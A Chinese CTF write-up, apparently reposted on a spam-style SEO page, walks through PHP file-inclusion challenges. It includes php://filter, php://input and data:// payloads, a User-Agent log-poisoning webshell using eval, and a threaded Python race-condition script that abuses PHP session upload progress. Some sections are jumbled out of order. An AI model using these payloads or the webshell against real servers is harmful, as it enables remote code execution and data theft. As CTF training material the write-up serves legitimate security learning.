当前位置: 首页 > wzjs >正文

长春公司推广网站关键词检测

长春公司推广网站,关键词检测,建网站一般多少钱幸福里,怎么做苹果手机网站首页实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件 每个需要过滤的地方,进行一次过滤的编写每个需要过滤的地方,进行一次文件包含调用过滤函数配合文件上传进行getshell,图片带有脚本后门代码,包…

实现过滤功能,是每个代码段进行过滤编写,还是写一个过滤文件

  1. 每个需要过滤的地方,进行一次过滤的编写
  2. 每个需要过滤的地方,进行一次文件包含调用过滤函数
  3. 配合文件上传进行getshell,图片带有脚本后门代码,包含这个图片,脚本代码就被触发
  4. 配合日志文件进行getshell,日志会记录访问UA
if(isset($_GET['file'])){ $file = $_GET['file']; include($file);
} else {highlight_file(__FILE__);
}

file:// 用于访问本地文件系统,其格式为

file:// [文件的绝对路径和文件名]

php:// 访问各个输入/输出流(I/O streams),其基本格式为php://filter​和php://input​

php://filter用于读取源码。

我们可以以base64编码的方式读取指定文件的源码:如

?file=php://filter/read=convert.base64-encode/resource=flag.php

php://input用于执行php代码。?file=php://input

post传参 <?php phpinfo(); ?>

例题二

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
}

想要用这个必须要知道绝对路径,不然如下图

方法一:filter伪协议
?file=php://filter/read=convert.base64-encode/resource=flag.php
方法二:input协议file=php://input

post传参

<?php phpinfo(); ?>

方法三:data协议

​data://​ 协议的格式为 data://[<MIME-type>][;charset=<encoding>][;base64],<data>​,具体填写方式如下:

1. 基本结构

  • ​<MIME-type>​:指定数据的类型(如 text/plain​、image/png​ 等)。若省略,默认为 text/plain​。
  • ​charset=<encoding>​:可选,指定文本数据的字符编码(如 charset=UTF-8​)。仅对文本类 MIME 类型有效。
  • ​;base64​:可选,表示 <data>​ 部分为 Base64 编码格式。若省略,数据需直接明文填写。
  • ​<data>​:实际数据内容(明文或 Base64 编码后的字符串)。
?file=data://text/plain,<?php system('tac flag.php');?>

例题三

if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

审计源码可知存在大小写绕过

但是大小写绕过对input和data协议有用,对filter协议没有用

方法同例题1

?file=data://text/plain,<?Php system('tac f*');?>

例题四

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

对php和data协议进行了绕过,那么我选择input协议

例题五

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

这次多了限制,我们可以使用日志包含getshell方法

日志文件是服务器用来记录各种操作和访问信息的文件,比如网站服务器会记录用户的访问请求、来源地址、使用的浏览器信息等。如果攻击者能够在发送给网站的请求(比如网址、用户代理信息等)中插入恶意代码,这些代码就会被服务器记录到日志文件中。当服务器后续读取或处理这些日志文件时,如果存在漏洞,恶意代码就可能被当作正常的代码执行,从而实现攻击目的,比如获取服务器的控制权(即“getshell”)。

确定服务器类型

在进行攻击之前,需要先判断目标网站使用的是哪种服务器软件,因为不同的服务器软件日志文件的存放位置和格式可能不同。

详细攻击步骤解析(利用PHP Session上传进度 + 条件竞争)

1. 漏洞背景

题目代码存在文件包含漏洞,但过滤了php​、data​、:​、.​等关键字符,无法直接包含恶意文件。需利用PHP的session.upload_progress​机制和条件竞争绕过限制

2. 核心原理

  • Apache服务器:它是一种常见的Web服务器软件,它的日志文件通常存放在/var/log/apache/access.log​路径下。这个文件会记录网站的访问记录,包括用户请求的网址、时间、状态码等信息。
  • Nginx服务器:这也是另一种常用的Web服务器软件,它的日志文件一般存放在/var/log/nginx/access.log​和/var/log/nginx/error.log​路径下。access.log​记录正常访问信息,error.log​记录错误信息。
  • 可见使用Nginx服务器

    ?file=/var/log/nginx/access.log 
    

    在user-agent添加木马

    <?php @eval($_REQUEST['cmd']);?>
    

    antsword连接

    例题六

  • 过滤了冒号,伪协议不好用了,于是,这个题还是用web80的getshell方法,得到flag

  • 例题七

  • 该死的只能在十一点半后才能做,只能把电脑带回去了

    web82 -86 都使用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

    原理解释

  • 文件上传进度监控开启该选项后,用户上传文件时可以通过 POST​ 请求实时查看上传进度。
  • Session 代码注入我们可以在服务器会话(session​)中写入待执行的代码,使其在后续流程中被执行。
  • 自定义 Session ID用户可以通过修改 Cookie​(如 PHPSESSID=flag​)自定义 Session ID​,PHP 会据此在服务器上生成对应的 Session 文件(如 /tmp/sess_flag​)。文件名中的 sess_​ 前缀是固定的,但后续部分(如 flag​)可由用户控制。
  • Session 文件包含执行要触发代码执行,需通过文件包含(如 include​)加载这个 Session 文件。
  • 自动清理机制 默认配置下,PHP 的 session.upload_progress.cleanup​ 功能会在读取完所有 POST​ 数据后自动删除进度信息,导致注入的代码被清除。
  • 条件竞争利用
    为了绕过清理机制,需要利用条件竞争(Race Condition):在系统自动清理前,抢先完成文件包含并执行代码。这种手法在文件上传漏洞利用中很常见,本质是“赶在系统删除前抢占执行权”
  • Session上传进度机制
    PHP在上传文件时,若启用session.upload_progress.enabled​(默认开启),会在$_SESSION​中记录上传进度,并生成临时Session文件(如/tmp/sess_<PHPSESSID>​)
     

    用户可控Session ID
    通过Cookie: PHPSESSID=evil​可指定Session文件名(如/tmp/sess_evil​),并注入恶意代码到Session文件

    • 条件竞争
      默认session.upload_progress.cleanup=On​会立即删除Session文件,需在删除前抢先包含该文件执行代码


    3. 详细攻击步骤
    步骤1:构造恶意Session文件
    1. 设置自定义Session ID
      在请求中注入Cookie,控制Session文件名:

      Cookie: PHPSESSID=evil
      

      PHP会生成文件:/tmp/sess_evil​。

    2. 触发Session写入
      通过上传表单的PHP_SESSION_UPLOAD_PROGRESS​字段写入恶意代码:

      <form action="http://target.com/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('cat /flag'); ?>" /><input type="file" name="file" /><input type="submit" />
      </form>
      

      结果:/tmp/sess_evil​内容变为:

      upload_progress_<?php system('cat /flag'); ?>
      
    步骤2:利用文件包含漏洞
    1. 包含Session文件
      由于.​被过滤,需直接包含路径:

      GET /?file=/tmp/sess_evil
      

      问题:PHP会立即删除该文件,需条件竞争。

    2. 自动化竞争脚本
      使用Python并发请求:

      • 线程1:持续上传文件,保持Session文件存在。
      • 线程2:高频请求/?file=/tmp/sess_evil​,在文件删除前执行代码。

      示例脚本:

      import requests
      import threadingtarget = "http://target.com/"
      session = requests.Session()
      session.cookies.set("PHPSESSID", "evil")def upload():while True:files = {"file": ("test.txt", "data")}data = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat /flag'); ?>"}session.post(target, files=files, data=data)def include():while True:r = session.get(f"{target}?file=/tmp/sess_evil")if "flag{" in r.text:print(r.text)breakt1 = threading.Thread(target=upload)
      t2 = threading.Thread(target=include)
      t1.start()
      t2.start()
      
    步骤3:绕过过滤
    • 路径绕过
      若/tmp/sess_evil​被过滤,尝试:

      GET /?file=/tmp/sess_evil/.
      

      或利用/proc/self/fd/<FD>​(需环境支持)


    4. 关键点总结
    • Session控制:通过PHPSESSID​指定文件名,注入恶意代码。
    • 竞争窗口:在PHP删除前包含文件,需毫秒级并发请求。
    • 绕过过滤:直接路径包含,避免使用被过滤字符
http://www.dtcms.com/wzjs/186442.html

相关文章:

  • php mysql开发网站开发seo优化关键词放多少合适
  • 南安市住房和城乡建设部网站全国知名网站排名
  • 兰州做网站服务营销的概念
  • 海南省建设网站的公司电话58网络推广
  • 织梦五彩婚纱源码网_婚庆策划网站php源码星巴克seo网络推广
  • pc蛋蛋网站怎么做搜索关键词怎么让排名靠前
  • wordpress字体哪个好看搜索引擎优化seo专员招聘
  • 中国一级爱做电影网站百度电脑版官网下载
  • 网站快速优化排名网站首页关键词如何优化
  • 下载软件的网站推荐亚马逊关键词优化软件
  • 动态网站的例子百度指数的网址
  • 淮安做网站的公司有哪些公司自媒体平台注册下载
  • ie浏览器网页版南宁网站优化公司电话
  • 网站地图1 500 怎么做优化防疫措施+科学精准防控
  • 临淄网站制作外包公司值得去吗
  • 广西圣泰建设工程有限公司网站适合网络营销的产品
  • 怎么查房产信息查询seo关键词优化外包
  • 石家庄谷歌推广关键词优化排名用什么软件比较好
  • 珠海企业集团网站建设下载百度地图2022最新版官方
  • 南昌企业网站设计建设制作商旅100网页版
  • 研究生计划书模板什么是白帽seo
  • 河南省住房和建设厅网站首页网络营销方案ppt
  • 镇江做网站多少钱微信管理软件哪个最好
  • 广州市疫情防控最新通知徐州seo推广优化
  • 织梦模板网站好优化吗有没有可以代理推广的平台
  • 口碑好的广州做网站域名是什么意思
  • 找人做菠菜网站需要多少钱指定关键词排名优化
  • 自己的网站可以做淘客吗北京seo代理计费
  • 公司网站公众号维护怎么做外贸企业网站设计公司
  • 多城市网站如何做seo海南百度推广公司有哪些